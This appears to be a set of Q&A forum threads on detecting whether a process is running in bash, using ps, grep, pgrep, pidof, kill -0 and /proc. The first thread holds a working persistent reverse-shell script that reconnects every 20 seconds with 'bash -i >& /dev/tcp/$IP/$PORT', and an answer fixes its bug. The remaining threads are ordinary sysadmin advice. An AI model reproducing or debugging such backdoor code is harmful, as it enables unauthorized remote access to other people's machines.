So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.
Good Morning,
Context :
I would like to check every minute if a python script is running. In my cron, i call a script. The script's goal is to check if the process is running.
My script :
#!/bin/bash
DIR="path/to/directory"
CMD="python3 -u $DIR/script.py -arg1 $DIR/arg1 -arg2 $DIR/arg2 -arg3 $DIR/arg3"
if [ ! $(ps aux | grep 'my_pattern' | grep -v 'color')]
then
echo "Success"
"$CMD" > /dev/null
fi
With this script i want to grep the process and inverse the grep to exclude the color process. If the process is running, the command (ps aux | grep 'my_pattern' | grep -v 'color')returns me something if not, the command returns me nothing.
The error is ./script.sh: line 12: [!myuser+ : Untraceable command
The execution of the command did not returns me the result of the command but the process number of my command like if i did a ps aux of my command.
If it's not clear, please ask, difficult for me to translate the issue.
Thank you for answering.
EDIT : I HAVE APPLY the ocndition like this :
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
Now i don't have any errors but it never enter in my if condition.
With
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
(mind the typo as shown by klashxx)
you can check if the variable is empty.
So instead of using "!", i think it's more appropriate and effective to check if the grepping of ps aux is returning an empty string or not.
Let me know if this helped you or not.
EDITED: corrected '[' to '[['
EDITED AGAIN: for other users to know, if u need to check the existance of a process with this method append ! before -z flag to see if it is NOT empty
I Have made a simple script which checks if the service is running and returning a exit code, but I cant make it work. Exit 0 if it works, and 1 if it doesn't.
#!/bin/bash
#Plugin for checking if the SSH service is running
SERVICE='ssh'
if [ ps aux | grep -v grep | grep $SERVICE > /dev/null ];
then
exit 0
else
exit 1
fi
The if statement can be replaced with simply
ps aux | grep -v grep | grep -q "$SERVICE"
The exit status of the pipeline is 0 if grep -q succeeds (i.e., matches ssh), and 1 otherwise. If this is the last line of the script, the exit status of the shell will be the same: no need for an explicit call to exit.
This is the cause of the problem:
if [ ps aux | grep -v grep | grep $SERVICE > /dev/null ];
The syntax of an if statement: if list; then ... (ref)
if chooses which branch to execute based on the exit status of the list
A list is basically a pipeline of commands (ref)
You are using the [ command -- yes, it's a command not just syntax. The [ command has specific requirements for the arguments it accepts (ref)
[ does not like the arguments you gave it.
You want to do this
if ps aux | grep -v grep | grep $SERVICE > /dev/null; then
or, better, take chepner's advice and accept his answer.
I am trying to automatically check if a process is running or not and have to perform next steps accordingly. I had written a bash script but it doesn't seem to work.
if ps aux | grep [M]yProcessName > /dev/null
then
echo "Running"
else
echo "Not running"
fi
Is my if statement wrongly used?
You don't want to know if a particular process (of known pid) is running (this can be done by testing if /proc/1234/ exists for pid 1234) but if some process is running a given command (or a given executable).
Notice that the kill(2) syscall can be portably used to check if a given process is running (with a 0 signal, e.g. kill(pid,0)). From inside a program, this is a common way to check that a process of known pid is still existing and running (or waiting).
You could use the pidof command to find the processes running some executable, e.g. pidof zsh to find all the zsh processes. You could also use killall -s 0 zsh
And you might be interested by the pgrep utility and the /proc filesystem.
ps aux | grep [M]yProcessName | grep -v grep
Using -z to check if a string is empty or not, something like this could work:
line=$(ps aux | grep [M]yProcessName)
if [ -z "$line" ]
then
echo "Not Running"
else
echo $line > /dev/null
echo "Rinnung"
fi
There is a solution:
if [ "$(ps aux | grep "what you need" | awk '{print $11}')" == "grep" ]; then ... elif [ ... ]; then ... else ... fi
This works fine in Debian 6. '{print $11}' is needed, because the sytem treats grep as a process as well
processid =$(ps aux | grep 'ProcessName' | grep -v grep| awk '{print $2}')
The above command will give you the process id. Assign that process id to a variable and do this -->
if cat /proc/$processid/status | grep "State: R (running)" > /dev/null
then
echo "Running"
else
echo "Not running"
fi
SMBD=$(pidof smbd)
if [ "$SMBD" == "" ];
then
/etc/init.d/samba start;
else
/etc/init.d/samba restart;
fi
On my system, ps aux | grep ProcessName always get a line of that grep process like:
edw4rd 9653 0.0 0.0 4388 832 pts/1 S+ 21:09 0:00 grep --color=auto ProcessName
So, the exit status is always 0. Maybe that's why your script doesn't work.
return 0 means success while others failed
kill -0 `pid`; echo $?
Just to explicitly mention a way this answer alluded to, pgrep is the best way to do this by process name:
pgrep [M]yProcessName
If a process whose name matches "[M]yProcessName" is running, pgrep will print its PID to stdout and will exit with code 0. Otherwise, it will print nothing and exit with code 1.
try this
ps aux | grep [M]yProcessName | grep -v grep
I need a platform independent (Linux/Unix|OSX) shell/bash command that will determine if a specific process is running. e.g. mysqld, httpd...
What is the simplest way/command to do this?
While pidof and pgrep are great tools for determining what's running, they are both, unfortunately, unavailable on some operating systems. A definite fail safe would be to use the following: ps cax | grep command
The output on Gentoo Linux:
14484 ? S 0:00 apache2
14667 ? S 0:00 apache2
19620 ? Sl 0:00 apache2
21132 ? Ss 0:04 apache2
The output on OS X:
42582 ?? Z 0:00.00 (smbclient)
46529 ?? Z 0:00.00 (smbclient)
46539 ?? Z 0:00.00 (smbclient)
46547 ?? Z 0:00.00 (smbclient)
46586 ?? Z 0:00.00 (smbclient)
46594 ?? Z 0:00.00 (smbclient)
On both Linux and OS X, grep returns an exit code so it's easy to check if the process was found or not:
#!/bin/bash
ps cax | grep httpd > /dev/null
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
Furthermore, if you would like the list of PIDs, you could easily grep for those as well:
ps cax | grep httpd | grep -o '^[ ]*[0-9]*'
Whose output is the same on Linux and OS X:
3519 3521 3523 3524
The output of the following is an empty string, making this approach safe for processes that are not running: echo ps cax | grep aasdfasdf | grep -o '^[ ]*[0-9]*'
This approach is suitable for writing a simple empty string test, then even iterating through the discovered PIDs.
#!/bin/bash
PROCESS=$1
PIDS=`ps cax | grep $PROCESS | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
echo "Process not running." 1>&2
exit 1
else
for PID in $PIDS; do
echo $PID
done
fi
You can test it by saving it to a file (named "running") with execute permissions (chmod +x running) and executing it with a parameter: ./running "httpd"
#!/bin/bash
ps cax | grep httpd
if [ $? -eq 0 ]; then
echo "Process is running."
else
echo "Process is not running."
fi
WARNING!!!
Please keep in mind that you're simply parsing the output of ps ax which means that, as seen in the Linux output, it is not simply matching on processes, but also the arguments passed to that program. I highly recommend being as specific as possible when using this method (e.g. ./running "mysql" will also match 'mysqld' processes). I highly recommend using which to check against a full path where possible.
References:
http://linux.about.com/od/commands/l/blcmdl1_ps.htm
http://linux.about.com/od/commands/l/blcmdl1_grep.htm
You SHOULD know the PID !
Finding a process by trying to do some kind of pattern recognition on the process arguments (like pgrep "mysqld") is a strategy that is doomed to fail sooner or later. What if you have two mysqld running? Forget that approach. You MAY get it right temporarily and it MAY work for a year or two but then something happens that you haven't thought about.
Only the process id (pid) is truly unique.
Always store the pid when you launch something in the background. In Bash this can be done with the $! Bash variable. You will save yourself SO much trouble by doing so.
How to determine if process is running (by pid)
So now the question becomes how to know if a pid is running.
Simply do:
ps -o pid= -p <pid>
This is POSIX and hence portable. It will return the pid itself if the process is running or return nothing if the process is not running. Strictly speaking the command will return a single column, the pid, but since we've given that an empty title header (the stuff immediately preceding the equals sign) and this is the only column requested then the ps command will not use header at all. Which is what we want because it makes parsing easier.
This will work on Linux, BSD, Solaris, etc.
Another strategy would be to test on the exit value from the above ps command. It should be zero if the process is running and non-zero if it isn't. The POSIX spec says that ps must exit >0 if an error has occurred but it is unclear to me what constitutes 'an error'. Therefore I'm not personally using that strategy although I'm pretty sure it will work as well on all Unix/Linux platforms.
On most Linux distributions, you can use pidof(8).
It will print the process ids of all running instances of specified processes, or nothing if there are no instances running.
For instance, on my system (I have four instances of bashand one instance of remmina running):
$ pidof bash remmina
6148 6147 6144 5603 21598
On other Unices, pgrep or a combination of ps and grep will achieve the same thing, as others have rightfully pointed out.
This should work on most flavours of Unix, BSD and Linux:
PATH=/usr/ucb:${PATH} ps aux | grep httpd | grep -v grep
Tested on:
SunOS 5.10 [Hence the PATH=...]
Linux 2.6.32 (CentOS)
Linux 3.0.0 (Ubuntu)
Darwin 11.2.0
FreeBSD 9.0-STABLE
Red Hat Enterprise Linux ES release 4
Red Hat Enterprise Linux Server release 5
The simpliest way is to use ps and grep:
command="httpd"
running=`ps ax | grep -v grep | grep $command | wc -l`
if [ running -gt 0 ]; then
echo "Command is running"
else
echo "Command is not running"
fi
If your command has some command arguments, then you can also put more 'grep cmd_arg1' after 'grep $command' to filter out other possible processes that you are not interested in.
Example: show me if any java process with supplied argument:
-Djava.util.logging.config.file=logging.properties
is running
ps ax | grep -v grep | grep java | grep java.util.logging.config.file=logging.properties | wc -l
Putting the various suggestions together, the cleanest version I was able to come up with (without unreliable grep which triggers parts of words) is:
kill -0 $(pidof mysql) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
kill -0 doesn't kill the process but checks if it exists and then returns true, if you don't have pidof on your system, store the pid when you launch the process:
$ mysql &
$ echo $! > pid_stored
then in the script:
kill -0 $(cat pid_stored) 2> /dev/null || echo "Mysql ain't runnin' message/actions"
Just a minor addition: if you add the -c flag to ps, you don't need to remove the line containing the grep process with grep -v afterwards. I.e.
ps acux | grep cron
is all the typing you'll need on a bsd-ish system (this includes MacOSX) You can leave the -u away if you need less information.
On a system where the genetics of the native ps command point back to SysV, you'd use
ps -e |grep cron
or
ps -el |grep cron
for a listing containing more than just pid and process name. Of course you could select the specific fields to print out using the -o <field,field,...> option.
I use pgrep -l httpd but not sure it is present on any platform...
Who can confirm on OSX?
This approach can be used in case commands 'ps', 'pidof' and rest are not available.
I personally use procfs very frequently in my tools/scripts/programs.
egrep -m1 "mysqld$|httpd$" /proc/[0-9]*/status | cut -d'/' -f3
Little explanation what is going on:
-m1 - stop process on first match
"mysqld$|httpd$" - grep will match lines which ended on mysqld OR httpd
/proc/[0-9]* - bash will match line which started with any number
cut - just split the output by delimiter '/' and extract field 3
You should know the PID of your process.
When you launch it, its PID will be recorded in the $! variable. Save this PID into a file.
Then you will need to check if this PID corresponds to a running process. Here's a complete skeleton script:
FILE="/tmp/myapp.pid"
if [ -f $FILE ];
then
PID=$(cat $FILE)
else
PID=1
fi
ps -o pid= -p $PID
if [ $? -eq 0 ]; then
echo "Process already running."
else
echo "Starting process."
run_my_app &
echo $! > $FILE
fi
Based on the answer of peterh. The trick for knowing if a given PID is running is in the ps -o pid= -p $PID instruction.
None of the answers worked for me, so heres mine:
process="$(pidof YOURPROCESSHERE|tr -d '\n')"
if [[ -z "${process// }" ]]; then
echo "Process is not running."
else
echo "Process is running."
fi
Explanation:
|tr -d '\n'
This removes the carriage return created by the terminal. The rest can be explained by this post.
This prints the number of processes whose basename is "chromium-browser":
ps -e -o args= | awk 'BEGIN{c=0}{
if(!match($1,/^\[.*\]$/)){sub(".*/","",$1)} # Do not strip process names enclosed by square brackets.
if($1==cmd){c++}
}END{print c}' cmd="chromium-browser"
If this prints "0", the process is not running. The command assumes process path does not contain breaking space. I have not tested this with suspended processes or zombie processes.
Tested using gwak as the awk alternative in Linux.
Here is a more versatile solution with some example usage:
#!/bin/sh
isProcessRunning() {
if [ "${1-}" = "-q" ]; then
local quiet=1;
shift
else
local quiet=0;
fi
ps -e -o pid,args= | awk 'BEGIN{status=1}{
name=$2
if(name !~ /^\[.*\]$/){sub(".*/","",name)} # strip dirname, if process name is not enclosed by square brackets.
if(name==cmd){status=0; if(q){exit}else{print $0}}
}END{exit status}' cmd="$1" q=$quiet
}
process='chromium-browser'
printf "Process \"${process}\" is "
if isProcessRunning -q "$process"
then printf "running.\n"
else printf "not running.\n"; fi
printf "Listing of matching processes (PID and process name with command line arguments):\n"
isProcessRunning "$process"
Here is my version. Features:
checks for exact program name (first argument of the function). search for "mysql" will not match running "mysqld"
searches program arguments (second argument of the function)
script:
#!/bin/bash
# $1 - cmd
# $2 - args
# return: 0 - no error, running; 1 - error, not running
function isRunning() {
for i in $(pidof $1); do
cat /proc/$i/cmdline | tr '\000' ' ' | grep -F -e "$2" 1>&2> /dev/null
if [ $? -eq 0 ]; then
return 0
fi
done
return 1
}
isRunning java "-Djava.util.logging.config.file=logging.properties"
if [ $? -ne 0 ]; then
echo "not running, starting..."
fi
[ $pid ] && [ -d /proc/$pid ] && command if you know the pid
The following shell function, being only based on POSIX standard commands and options should work on most (if not any) Unix and linux system. :
isPidRunning() {
cmd=`
PATH=\`getconf PATH\` export PATH
ps -e -o pid= -o comm= |
awk '$2 ~ "^.*/'"$1"'$" || $2 ~ "^'"$1"'$" {print $1,$2}'
`
[ -n "$cmd" ] &&
printf "%s is running\n%s\n\n" "$1" "$cmd" ||
printf "%s is not running\n\n" $1
[ -n "$cmd" ]
}
$ isPidRunning httpd
httpd is running
586 /usr/apache/bin/httpd
588 /usr/apache/bin/httpd
$ isPidRunning ksh
ksh is running
5230 ksh
$ isPidRunning bash
bash is not running
Note that it will choke when passed the dubious "0]" command name and will also fail to identify processes having an embedded space in their names.
Note too that the most upvoted and accepted solution demands non portable ps options and gratuitously uses a shell that is, despite its popularity, not guaranteed to be present on every Unix/Linux machine (bash)